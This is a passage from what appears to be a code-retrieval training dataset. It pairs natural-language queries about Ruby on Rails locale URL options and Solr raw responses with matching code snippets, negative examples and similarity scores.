destroy\n @api_v1_outcome.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_outcomes_url, notice: 'Outcome was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @quiz.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @evaluation.destroy\n respond_to do |format|\n format.html { redirect_to evaluations_url, notice: '答题记录已被删除' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dice.destroy\n\n head :no_content\n end", "def destroy\n @reward_rule = RewardRule.find(params[:id])\n @reward_rule.destroy\n\n respond_to do |format|\n format.html { redirect_to reward_rules_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @grade = Grade.find(params[:id])\n @grade.destroy\n\n respond_to do |format|\n format.html { redirect_to grades_url }\n format.json { head :ok }\n end\n end", "def destroy\n @aquizitions_row.destroy\n respond_to do |format|\n format.html { redirect_to aquizitions_rows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @grade = Grade.find(params[:id])\n @grade.destroy\n\n respond_to do |format|\n format.html { redirect_to grades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hscore.destroy\n respond_to do |format|\n format.html { redirect_to hscores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @competency_pertenece_evaluation = CompetencyPerteneceEvaluation.find(params[:id])\n @competency_pertenece_evaluation.destroy\n\n respond_to do |format|\n format.html { redirect_to competency_pertenece_evaluations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @story_status = StoryStatus.find(params[:id])\n @story_status.destroy\n\n respond_to do |format|\n format.html { redirect_to story_statuses_url }\n format.json { head :ok }\n end\n end" ]
[ "0.75194716", "0.7400891", "0.7400891", "0.7400891", "0.7400891", "0.73859453", "0.73463345", "0.7313429", "0.7271169", "0.7227591", "0.7227591", "0.7227591", "0.7227591", "0.71666104", "0.71637857", "0.71455", "0.712116", "0.71194524", "0.71194524", "0.7104779", "0.7093619", "0.7052116", "0.70500875", "0.7033067", "0.70220625", "0.70220625", "0.69975257", "0.6995145", "0.69924074", "0.6968852", "0.69160277", "0.6904055", "0.6875642", "0.68436146", "0.683913", "0.68377674", "0.6810379", "0.68004614", "0.6792971", "0.679124", "0.6784585", "0.6773874", "0.67498785", "0.6747864", "0.674549", "0.67453605", "0.6742797", "0.6741335", "0.67269456", "0.6701646", "0.6698305", "0.66978616", "0.6685175", "0.6680124", "0.6671624", "0.6659779", "0.66533375", "0.6630391", "0.66262823", "0.66238815", "0.6620271", "0.66158843", "0.6603309", "0.6601815", "0.6582701", "0.6579542", "0.6577419", "0.657687", "0.6555782", "0.65474373", "0.6546317", "0.6545612", "0.6540522", "0.6536693", "0.6528118", "0.6516907", "0.6516534", "0.6509028", "0.64878887", "0.6485975", "0.6485904", "0.6485904", "0.6467934", "0.6467269", "0.64590544", "0.6440657", "0.64368546", "0.64295894", "0.64274335", "0.6417937", "0.64047205", "0.63998634", "0.6398514", "0.63915807", "0.6384026", "0.638327", "0.6375648", "0.6362548", "0.6357488", "0.6356229" ]
0.77627677
0
override to pass around locale in URL
def default_url_options(options={}) logger.debug "default_url_options is passed options: #{options.inspect}\n" { :locale => I18n.locale } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def link_with_locale(url)\n params.to_unsafe_h.include?('locale') ? \"#{url}?locale=#{I18n.locale}\" : url\n end", "def apply_locale; end", "def locale_switch_link(language)\n path = request.original_fullpath\n if params.to_unsafe_h.include? 'locale'\n path.gsub(%r{locale=#{I18n.locale}}, \"locale=#{language}\")\n elsif request.query_parameters.empty?\n path + \"?locale=#{language}\"\n else\n path + \"&locale=#{language}\"\n end\n end", "def change_locale_url(locale)\n current_path = \"#{request.protocol}#{request.host_with_port}#{request.fullpath}\"\n if current_path.include?('lang_to=')\n current_path.gsub(\"lang_to=#{session[:lang_to]}\", \"lang_to=#{locale.to_s}\")\n elsif current_path.include?('?')\n \"#{current_path}&lang_to=#{locale.to_s}\"\n else\n \"#{current_path}?lang_to=#{locale.to_s}\"\n end\n \n end", "def path_format_locale(path, arg_base_url = \"\")\r\n if arg_base_url == \"\"\r\n url = $base_url\r\n else\r\n url = arg_base_url\r\n end\r\n url.to_s + path + \"?locale=\" + $lang.to_s\r\n end", "def url_for(options=nil)\n if options.kind_of?(Hash)\n options[:locale] = I18n.locale if options[:locale].blank?\n end\n\n super(options)\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n #Rails.application.routes.default_url_options[:locale]= I18n.locale \n end", "def default_url_options\n { locale: I18n.locale }\n\nend", "def default_url_options\n { locale: I18n.locale }\nend", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n Rails.application.routes.default_url_options[:locale]= I18n.locale\n end", "def set_locale\n I18n.locale = params[:locale] if params[:locale].present?\n # \"en\"\n # params[:locale] if params[:locale].present?\n # current_user.locale\n # request.subdomain\n # request.env[\"HTTP_ACCEPT_LANGUAGE\"]\n # request.remote_ip\n end", "def default_url_options # donne les parametres par defaut a passer dans l'url\n { locale: I18n.locale } # permet de maintenir la locale courante (laisser le site en francais s'il a utilise le bouton de langue)\n end", "def set_locale\n I18n.locale = params[:locale] \n end", "def default_url_options\n { locale: I18n.locale }\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend", "def set_locale\n \tI18n.locale = params[:locale] if params[:locale].present? \n end", "def set_locale\n I18n.locale = extract_locale_from_accept_language_header || I18n.default_locale\n # I18n.locale = params[:locale] if params[:locale].present?\n end", "def set_locale\n I18n.locale = set_locale_from_params || I18n.default_locale\n Rails.application.routes.default_url_options[:locale]= I18n.locale\n end", "def set_locale\n end", "def set_locale\n #I18n.locale = params[:lang] ? params[:lang] : I18n.default_locale\n end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def switch_locale(new_locale)\n request.path.sub(/^\\/[a-zA-Z\\-]{2,8}/, \"/#{new_locale}\")\n end", "def set_locale\n I18n.locale = params[:locale]\n end", "def set_locale\n I18n.locale = params[:locale]\n end", "def default_url_options\n {locale: I18n.locale}\n end", "def default_url_options\n {locale: I18n.locale}\n end", "def default_url_options\n { locale: I18n.locale }\n end", "def default_url_options\n { locale: I18n.locale }\n end", "def default_url_options\n { locale: I18n.locale }\n end", "def default_url_options\n { locale: I18n.locale }\n end", "def default_url_options\n { locale: I18n.locale }\n end", "def default_url_options\n { locale: I18n.locale }\n end", "def default_url_options(options={})\n logger.debug \"default_url_options is passed options: #{options.inspect}\\n\"\n { locale: I18n.locale }#We set the locale value into the url to read it and apply internacionalization between pages\n end", "def set_locale\r\n I18n.locale = extract_locale_from_request\r\n end", "def set_locale\n DmCore::Language.locale = (params[:locale].presence || current_account.preferred_default_locale)\n rescue I18n::InvalidLocale\n # if it's an invalid locale, append the default locale and try again\n # this also fixes the case of using simple link names on a home page.\n # So if home page is \"http://example.com\" and the link is <a href=\"calendar\">\n # then the link is \"http://example.com/calendar\", instead of \"http://example.com/en/calendar\"\n # This will allow that to work.\n redirect_to \"/#{current_account.preferred_default_locale}#{request.path}\"\n end", "def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end", "def locale=(locale); end", "def locale_path(locale)\n locale_regexp = %r{/(en|de)/?}\n if request.env['PATH_INFO'] =~ locale_regexp\n \"#{request.env['PATH_INFO']}\".gsub(locale_regexp, \"/#{locale}/\")\n else\n \"/#{locale}#{request.env['PATH_INFO']}\"\n end\n end", "def locale=(_arg0); end", "def format_url_with_language(the_url)\n\n if translation_locale = locale_to_translate_into\n \"/#{translation_locale}#{the_url}\"\n else\n the_url\n end\n end", "def locale_backend; end", "def route_eval(&block)\n if options.auto_locale\n if params[:locale]\n I18n.locale = params[:locale].to_sym rescue options.locale\n end\n end\n super(&block)\n end", "def locale_from_params\n params[:locale] if (params[:locale] && ['en', 'se'].include?(params[:locale]))\n end", "def default_url_options\n {:locale => I18n.locale}\n end", "def lang\n # get current page url hash\n back_hash = Rails.application.routes.recognize_path request.referer\n Rails.logger.debug(\"original back_hash: #{back_hash.inspect}\")\n # change the locale code in the current page url hash\n back_hash[:locale] = @locale_code\n Rails.logger.debug(\"redirect to: #{back_hash.inspect}\")\n # see current page in new locale!\n redirect_to back_hash\n end", "def locale_picker(locale)\n paths = {\n '/nl/collections' => '/nl/collecties',\n '/en/collecties' => '/en/collections',\n '/nl/how-to-use' => '/nl/handleiding',\n '/en/handleiding' => '/en/how-to-use',\n '/nl/open-data' => '/nl/open-gegevens',\n '/en/open-gegevens' => '/en/open-data',\n '/nl/open-source' => '/nl/open-bron',\n '/en/open-bron' => '/en/open-source',\n '/nl/contact-en' => '/nl/contact-nl',\n '/en/contact-nl' => '/en/contact-en',\n '/nl/legal-notification' => '/nl/juridische-kennisgeving',\n '/en/juridische-kennisgeving' => '/en/legal-notification'\n }\n\n url = url_for(locale: locale)\n \n # get rid of the 'en:' prefix if the id is en:groeningemuseum:1234\n url = url.gsub(/#{I18n.locale.to_s}:/, '')\n\n unless paths[url].nil?\n translated = paths[url]\n \"#{translated}\"\n else\n \"#{url}\"\n end\n end", "def set_locale\r\n I18n.locale = extract_locale_from_request\r\n end", "def add_locale_param_to_uri(uri, locale)\n if uri.include? 'locale='\n return uri\n end\n \n if uri.include? '?'\n return uri + \"&locale=#{locale}\"\n else\n return uri + \"?locale=#{locale}\"\n end\n end", "def set_website_locale\n app_locales = %w(es ca)\n I18n.locale = params[:lang] if app_locales.include?(params[:lang])\n end", "def default_locale; end", "def default_url_options\n { locale: I18n.locale }\n end", "def default_url_options\n { locale: I18n.locale }\n end", "def set_locale\n # Either through a param, that has highest priority\n locale = if params[:locale]\n params[:locale].to_s\n # Then let's check the browser if there was no param\n elsif accept_language = request.env['HTTP_ACCEPT_LANGUAGE']\n # TODO: Facebook would like to have the country when using authentication there. We should save the browser country somewhere.\n accept_language.scan(/^[a-z]{2}/).first.to_s\n end\n I18n.locale = locale if locale.present? and I18n.available_locales.include?(locale.to_sym)\n end", "def set_locale\n \n #raise \"params[:locale] = #{params[:locale].present?}\"\n #raise \"params[:locale] = #{params[:locale].blank?}\"\n # Se non ho assegnato il parametro :locale allora gli passo la lingua impostata sul browser \n # (per testare usa Google chrome Extension: Locale Switcher)\n params[:locale] = request.env.fetch('HTTP_ACCEPT_LANGUAGE', '').scan(/[a-z]{2}/).first if params[:locale].blank?\n #raise \"params[:locale] = #{params[:locale]}\"\n\n case params[:locale]\n when \"it\", \"en\"\n I18n.locale = params[:locale]\n else\n I18n.locale = I18n.default_locale\n end\n end", "def set_locale\n \tI18n.locale = params[:locale] || I18n.default_locale\n end", "def default_url_options(options={})\n { :locale => I18n.locale }\n end", "def default_url_options(options={})\n { :locale => I18n.locale }\n end", "def default_url_options(options={})\n { :locale => I18n.locale }\n end", "def default_url_options(options={})\n { :locale => I18n.locale }\n end", "def default_url_options(options={})\n { :locale => I18n.locale }\n end", "def canonical\n Globalize.with_locale(::Refinery::I18n.default_frontend_locale) { url }\n end", "def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end", "def set_locale\n available = %w{en de}\n I18n.locale = params[:locale] || request.compatible_language_from(available)\n end", "def set_locale\n I18n.locale = params[:locale]\n end", "def locale=(value); end", "def default_url_options(options={})\n { locale: I18n.locale }\n end", "def default_url_options(options={})\n { locale: I18n.locale }\n end", "def default_url_options(options={})\n { locale: I18n.locale }\n end", "def default_url_options(options={})\n { locale: I18n.locale }\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end", "def path_after_locale_change(locale:, redirect_uri:)\n \"/#{locale}/#{redirect_uri}\"\n end", "def default_url_options(options={})\n { :locale => I18n.locale }\n end", "def default_url_options(_options = {})\n { locale: I18n.locale }\n end", "def default_url_options(options={})\n { :locale => I18n.default_locale.to_s }\n end", "def default_locale=(locale); end", "def handle_locale\n return if request.headers['Accept-Language'].nil?\n\n I18n.locale = case request.headers['Accept-Language'].downcase\n when 'ru' || 'russian'\n :ru\n when 'en' || 'english'\n :en\n else\n I18n.default_locale\n end\n end", "def default_url_options(options = {})\n {locale: I18n.locale}\n end", "def set_locale(locale)\n # Parse the HTTP GET header for languages and create an array\n # from them\n locales = ::R18n::I18n.parse_http(request.env['HTTP_ACCEPT_LANGUAGE'])\n\n # If we passed in a locale param, put it at the front of the\n # locales array\n if ((locale.is_a? String) && !(locale.empty?))\n locales.insert(0, locale)\n end\n\n # R18N locale setter\n ::R18n.thread_set do\n if Settings[:DEFAULT_LOCALE]\n ::R18n::I18n.default = Settings[:DEFAULT_LOCALE]\n end\n \n ::R18n::I18n.new(locales, ::R18n.default_places,\n :off_filters => :untranslated, :on_filters => :untranslated_html)\n end\n \n begin\n # We depend on lang-locale, not just lang code.\n # If we get a 2 letter lang code, dupe it so that\n # de becomes de-de\n # unless it's en, then we want en-us\n # or ja then we want ja-jp\n if (locales[0].length == 2)\n case locales[0].downcase\n when \"en\"\n return \"en-us\"\n when \"ja\"\n return \"ja-jp\"\n else\n return \"#{locales[0].downcase}-#{locales[0].downcase}\"\n end\n else\n return locales[0].downcase\n end\n rescue\n return Settings[:DEFAULT_LOCALE]\n end\n end", "def set_default_locale()\n\n session[:default_locale] = params[:locale]\n\n redirect_to root_url\n\n #respond_to do |format|\n # format.html { render :inline => \"OK\" }\n #end\n\n\n end", "def set_locale\n # if params[:locale] is nil then I18n.default_locale will be used\n I18n.locale = params[:locale]\n end", "def localize_path(path, lang = current_language)\n\n # no localization for 'special' case\n return path if !lang || EMPTY_LANGUAGE == lang\n\n # we only localize absolute path/url, like /support\n # we don't localize full urls like http://google.com\n return path unless path[0] == ?/\n\n # don't localize if already localized, duh!\n return path if path[0..5] == '/intl/'\n\n \"/intl/#{lang}#{path}\"\n end" ]
[ "0.8036451", "0.77054614", "0.7615752", "0.7599427", "0.74672794", "0.74232954", "0.7418797", "0.7369942", "0.73274446", "0.7310437", "0.7286583", "0.72471935", "0.72365606", "0.72263676", "0.7208749", "0.7208749", "0.7207714", "0.7194668", "0.7178869", "0.7157127", "0.70833224", "0.7066628", "0.7066628", "0.7066628", "0.7066628", "0.7066628", "0.7066628", "0.7066628", "0.70631796", "0.7049039", "0.7049039", "0.7031249", "0.7031249", "0.70187", "0.70187", "0.70187", "0.70187", "0.70187", "0.70187", "0.70145386", "0.6992968", "0.699153", "0.6989017", "0.6982431", "0.69777507", "0.6968817", "0.6960344", "0.69552755", "0.6952029", "0.692319", "0.6889623", "0.6882436", "0.6876418", "0.68703806", "0.6851353", "0.6848683", "0.68481934", "0.68295646", "0.68295646", "0.6823093", "0.68222946", "0.6821894", "0.68176794", "0.68176794", "0.68176794", "0.68176794", "0.68172437", "0.6798924", "0.6798011", "0.67898035", "0.67801416", "0.6774519", "0.6767153", "0.6767153", "0.6767153", "0.6767153", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67551446", "0.67516166", "0.6731195", "0.67252666", "0.671865", "0.6695029", "0.669002", "0.66895586", "0.6688062", "0.66778606", "0.66631156", "0.66528445" ]
0.0
-1
Rreturns the "raw" ruby hash that is returned by the solr ruby response writer. This is mostly for debugging purposes
def raw_response @raw_response end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_r()\n #This is a stub, used for indexing\n end", "def raw\n results\n end", "def raw\n @raw ||= Hashie::Mash.new(@raw_plain)\n end", "def to_json_raw_object()\n #This is a stub, used for indexing\n end", "def raws\n @raws = {} unless defined? @raws\n @raws\n end", "def body_raw\n @response.body\n end", "def raw_body\n @response.body.to_s\n end", "def _raw\n @_raw\n end", "def raw_results\n results\n end", "def raw\n\t\t#puts \"raw, line \" + \"27\"\n\t\t@raw = ssl.find({id: params[:id]}).to_a.first\n\t\tif @raw.nil?\n\t\t\tredirect_to doc_index_path, notice: 'No record of doc with id: ' + params[:id].to_s \n \t\telse\n \t\t\trender json: @raw \n\t\tend\n \tend", "def serialize\n @raw_data\n end", "def to_r() end", "def response\n @solr_response\n end", "def raw_body\n @response.body\n end", "def data\n @raw_response.body\n end", "def raw\n\n @raw\n\n end", "def raw; end", "def raw; end", "def raw; end", "def raw; end", "def body\n @raw\n end", "def to_raw; end", "def render\n\t\t\t@wiki_query.query_result.to_json\n\t\tend", "def raw\n repr.raw\n end", "def raw_response; end", "def response\n response_parts = []\n response_parts << '\"version\": \"1.1\"'\n response_parts << '\"id\": ' + @id.to_json if @id\n if @error\n response_parts << '\"error\": ' + {:name => 'JSONRPCError'}.merge(@error).to_json\n else\n response_parts << '\"result\": ' + @result.to_json\n end\n '{' + response_parts.join(', ') + \"}\\n\" \n end", "def raw\n #\n end", "def raw\n\t\treturn @content\n\tend", "def raw\n\t\treturn @content\n\tend", "def get_raw_information\n @infos[RAW]\n end", "def request_results\n\t\t\">0002009300\\r00\"\n\tend", "def to_r\n @object.to_r # only available on Ruby 1.9+\n end", "def to_r\n @object.to_r # only available on Ruby 1.9+\n end", "def to_json_raw(*args)\n #This is a stub, used for indexing\n end", "def to_r\n @object.to_r\n end", "def to_r\n @object.to_r\n end", "def to_s\n JSON.pretty_generate(raw)\n end", "def response_body; end", "def response_body; end", "def raw\n @java.getValue\n end", "def to_s\n @response.body\n end", "def test_raw_response_formats\n ruby_response = @solr.select(:q=>'*:*', :wt=>'ruby')\n assert ruby_response.is_a?(String)\n assert ruby_response =~ %r('wt'=>'ruby')\n # xml?\n xml_response = @solr.select(:q=>'*:*', :wt=>'xml')\n assert xml_response.is_a?(String)\n assert xml_response =~ %r(<str name=\"wt\">xml</str>)\n # json?\n json_response = @solr.select(:q=>'*:*', :wt=>'json')\n assert json_response.is_a?(String)\n assert json_response =~ %r(\"wt\":\"json\")\n end", "def to_raw_object(opener = nil)\n RawObject.construct(hash_id, opener, PREFIX_NAME_LOOKUP[type], content)\n end", "def raw\n @xbrl_content\n end", "def to_body\r\n to_hash\r\n end", "def raw\n @raw ||= []\n end", "def to_json\n { note: \"in an actual implementation of SelfDocumentingView, this method\n would call each v_<name>__<type> method and include its output\n in the response as a (<name>: <value>) pair\"\n }\n end", "def sru_response\n # Create bib record.\n title_str = OLE_QA::Framework::String_Factory.alphanumeric(12)\n author_str = OLE_QA::Framework::String_Factory.alphanumeric(14)\n today = Time.now.strftime('%Y%m%d-%H%M')\n bib_ary = [{\n :tag => '245',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + title_str\n },\n {\n :tag => '100',\n :ind_1 => '',\n :ind_2 => '',\n :value => '|a' + author_str\n }]\n bib_editor = OLE_QA::Framework::OLELS::Bib_Editor.new(@ole)\n bib_editor.open\n create_bib(bib_editor,bib_ary)\n query = \"title any #{title_str}\"\n filename = \"sru_perf-#{today}.xml\"\n get_sru_file(query,filename,@ole)\n records = get_marc_xml(filename)\n verify(5) {File.zero?(\"data/downloads/#{filename}\") == false}\n verify(5) {records.count == 1}\n end", "def solr_response(solr_params, req_handler = 'select')\n RSpecSolr::SolrResponseHash.new(\n solr_conn.send_and_receive(req_handler,\n method: :get,\n params: solr_params.merge(\n 'testing' => 'trlnbib_index_testing'\n ))\n )\n end", "def raw\n @raw ||= ''\n end", "def formatted_response\n self.response\n end", "def to_s\n \n if @cgi_response_flag == true\n<<RESULT\n#{http_version} #{response_code} #{REASON_PHRASE[@response_code]}\n#{headers}\n#{cgi_response} \nRESULT\n\n else\n<<RESULT\n#{http_version} #{response_code} #{REASON_PHRASE[@response_code]}\n#{headers}\n\n#{body} \nRESULT\n end\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_json_s\n require 'json' unless defined? JSON\n puts JSON.pretty_generate(JSON.parse(@response_hash.to_json))\n end", "def serialized_data\n\t\tdata = strip_hash( @data )\t\t\t\n\t\treturn Marshal.dump( data )\n\tend", "def to_hash\n body.to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def raw_response\n Net::HTTP.get(endpoint)\n end", "def body_raw\n @body_raw ||= body(true).read\n @body_raw\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end", "def to_body\n to_hash\n end" ]
[ "0.6358643", "0.62891656", "0.6277915", "0.62566054", "0.62117857", "0.6204494", "0.61688954", "0.61471176", "0.60928553", "0.6083316", "0.60322994", "0.60156584", "0.5957474", "0.5947093", "0.5943808", "0.59371257", "0.5917214", "0.5917214", "0.5917214", "0.5917214", "0.59152323", "0.5899746", "0.5884397", "0.583038", "0.5812193", "0.5806184", "0.57820016", "0.57412887", "0.57412887", "0.5739447", "0.57386154", "0.5734835", "0.5734835", "0.5725211", "0.5704713", "0.5704713", "0.56970245", "0.5695166", "0.5695166", "0.5672836", "0.56712735", "0.56679744", "0.5664095", "0.5583219", "0.55626297", "0.55455005", "0.55297756", "0.55261695", "0.5502104", "0.5494241", "0.5478586", "0.5477502", "0.5470996", "0.5470996", "0.5470367", "0.54612124", "0.54602545", "0.5455176", "0.5455176", "0.5455176", "0.5455176", "0.5455176", "0.5455176", "0.5455176", "0.54506785", "0.54492545", "0.54414624", "0.5441324", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865", "0.54407865" ]
0.6287385
2
Did we get some kind of valid response back from solr?
def success? !raw_response.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_raw_response_formats\n ruby_response = @solr.select(:q=>'*:*', :wt=>'ruby')\n assert ruby_response.is_a?(String)\n assert ruby_response =~ %r('wt'=>'ruby')\n # xml?\n xml_response = @solr.select(:q=>'*:*', :wt=>'xml')\n assert xml_response.is_a?(String)\n assert xml_response =~ %r(<str name=\"wt\">xml</str>)\n # json?\n json_response = @solr.select(:q=>'*:*', :wt=>'json')\n assert json_response.is_a?(String)\n assert json_response =~ %r(\"wt\":\"json\")\n end", "def response\n @solr_response\n end", "def test_returns_no_matches\n records = Book.multi_solr_search \"not found\", :models => [Movie, Category]\n assert_equal [], records.docs\n assert_equal 0, records.total\n end", "def contains_response_and_soln?() true ; end", "def cjk_adv_solr_resp(solr_params, req_handler = 'select')\n q_val = solr_params['q']\n if num_cjk_uni(q_val) == 0\n RSpecSolr::SolrResponseHash.new(solr_conn.send_and_receive(req_handler, method: :get, params: solr_params.merge(solr_args)))\n else\n if q_val =~ /\\{(.*)\\}(.*)/\n qf_pf_args = Regexp.last_match(1)\n terms = Regexp.last_match(2)\n end\n RSpecSolr::SolrResponseHash.new(solr_conn.send_and_receive(req_handler, method: :get,\n params: solr_params.merge(solr_args).merge(cjk_mm_qs_params(terms ? terms : q_val))))\n end\n end", "def contains_solr_query_data?\n !(\n title.blank? and\n venue.blank? and\n general_note.blank? and\n booking_ticket_note.blank? and\n locality.blank? and\n prize_info_note.blank? and\n internal_note.blank? and\n event_start_from.blank? and\n event_start_to.blank? and\n region_id.blank? and\n country_id.blank? and\n locality.blank?\n )\n end", "def find_solr_error(response)\n return nil unless response && response.body && response.content_type&.start_with?(\"application/json\")\n\n parsed = JSON.parse(response.body)\n\n parsed && parsed.dig(\"error\", \"msg\")\n rescue JSON::ParserError\n return nil\n end", "def solr_powered?\n self.solr_powered\n end", "def ok?\n @result.code.to_i != 200\n end", "def response?\n !self.query?\n end", "def contains_solr_query_data?\n !(title.blank? and \n composed_written_by.blank? and \n composition_revision_year.blank? and \n duration.blank? and\n work_category_id.blank? and \n work_subcategory_id.blank? and \n work_additional_subcategory_id.blank? and \n difficulty.blank? and\n language_id.blank? and \n has_programme_note == \"0\" and \n status_id.blank? and\n concept_type.blank? and\n concept_id.blank? and\n has_resource == \"0\" and\n resource_type_id.blank? and\n !contains_instruments? and\n !contains_voices? and\n available_for_sale == \"0\" and\n available_for_hire == \"0\" and\n available_for_download == \"0\"\n ) \n end", "def solr_resp_single_doc(doc_id, solr_params = {})\n solr_response(solr_params.merge({'qt'=>'document','id'=>doc_id}))\nend", "def check_response_ok(response)\n if response[\"ok\"]\n response\n else\n logger.error(\"Unexpected response from database - #{response['ok']}\")\n raise CouchFooError, \"Couldn't understand database response:#{response}\"\n end\n end", "def save_to_solr?; @wants_solr_save.nil? || @wants_solr_save == true; end", "def assert_found(response)\n assert response[\"found\"] || response[\"exists\"], \"document was not found\"\n end", "def solr_response(solr_params, req_handler = 'select')\n RSpecSolr::SolrResponseHash.new(\n solr_conn.send_and_receive(req_handler,\n method: :get,\n params: solr_params.merge(\n 'testing' => 'trlnbib_index_testing'\n ))\n )\n end", "def solr_response(solr_params, req_handler='select')\n response = solr.send_and_receive(req_handler, {:method => :get, :params => solr_params})\n RSpecSolr::SolrResponseHash.new(response)\n end", "def isSearchRespValid(code)\n return code == @@OKSEARCHCODE\n end", "def successful?\n return true if !acknowledged?\n if first_document.has_key?(OK)\n ok? && parser.message.empty?\n else\n !query_failure? && parser.message.empty?\n end\n end", "def solr_response(solr_params, req_handler='select')\n silence_warnings { \n RSpecSolr::SolrResponseHash.new(@@solr.send_and_receive(req_handler, {:method => :get, :params => solr_params.merge(\"testing\"=>\"sw_index_test\")}))\n }\nend", "def check_response\n errors.add(:base, :invalid) unless response.present? && response[\"res\"] == 1\n end", "def has_results?\n true\n end", "def non_empty_http_response?(http)\n http.response.present?\n end", "def success?\n !soap_fault? && !http_error?\n end", "def empty?(response); end", "def can_be_loaned_for_solr\n result = \"no\"\n result = \"yes\" if available_for_loan == true\n result\n end", "def valid?\n status == 200\n end", "def response?(params); end", "def wrap_solr_request\n\n # Get fq parameters from request object\n fq =[]\n request.query_string.split(\"&\").each do |p|\n if p.starts_with?(\"fq=\")\n fq.push(URI.decode_www_form_component(p[3..-1]))\n end\n end\n\n q = params[:q] || \"*:*\"\n wt = params[:wt] || \"json\"\n start = params[:start] || 0\n rows = params[:rows] || 10\n sort = params[:sort] || 'pubyear desc,modified desc'\n\n\n response = solr.get 'select', :params => {:q => q, :fq => fq, :wt=> wt, :sort => sort, :start => start.to_i, :rows => rows.to_i}\n\n if wt.eql?(\"xml\")\n render xml: response\n elsif wt.eql?(\"json\")\n render json: response\n else\n render nothing: true\n end\n end", "def constructed_response?\n @constructed_response\n end", "def details\n\t\tquery_params = QueryFormat.details_format()\n\t\tbegin\n\t\t\tQueryFormat.transform_raw_parameters(params)\n\t\t\tquery = QueryFormat.create_solr_query(query_params, params, request.remote_ip)\n\t\t\tis_test = Rails.env == 'test' ? :test : :live\n\t\t\tis_test = :shards if params[:test_index]\n\t\t\tsolr = Solr.factory_create(is_test)\n\t\t\t@document = solr.details(query)\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # index.html.erb\n\t\t\t\tformat.json { render json: { document: @document } }\n\t\t\t\tformat.xml\n\t\t\tend\n\t\trescue ArgumentError => e\n\t\t\trender_error(e.to_s)\n\t\trescue SolrException => e\n\t\t\trender_error(e.to_s, e.status())\n\t\trescue Exception => e\n\t\t\tExceptionNotifier.notify_exception(e, :env => request.env)\n\t\t\trender_error(\"Something unexpected went wrong.\", :internal_server_error)\n\t\tend\n\tend", "def invalid_document_id_error\n flash.now[:notice] = t('blacklight.search.errors.invalid_solr_id')\n @show_landing_pages = true\n\n # For .xml, .endnote, etc., don't return a webpage\n if params['format']\n render body: nil, status: :not_found\n else\n render 'spectrum/search', status: 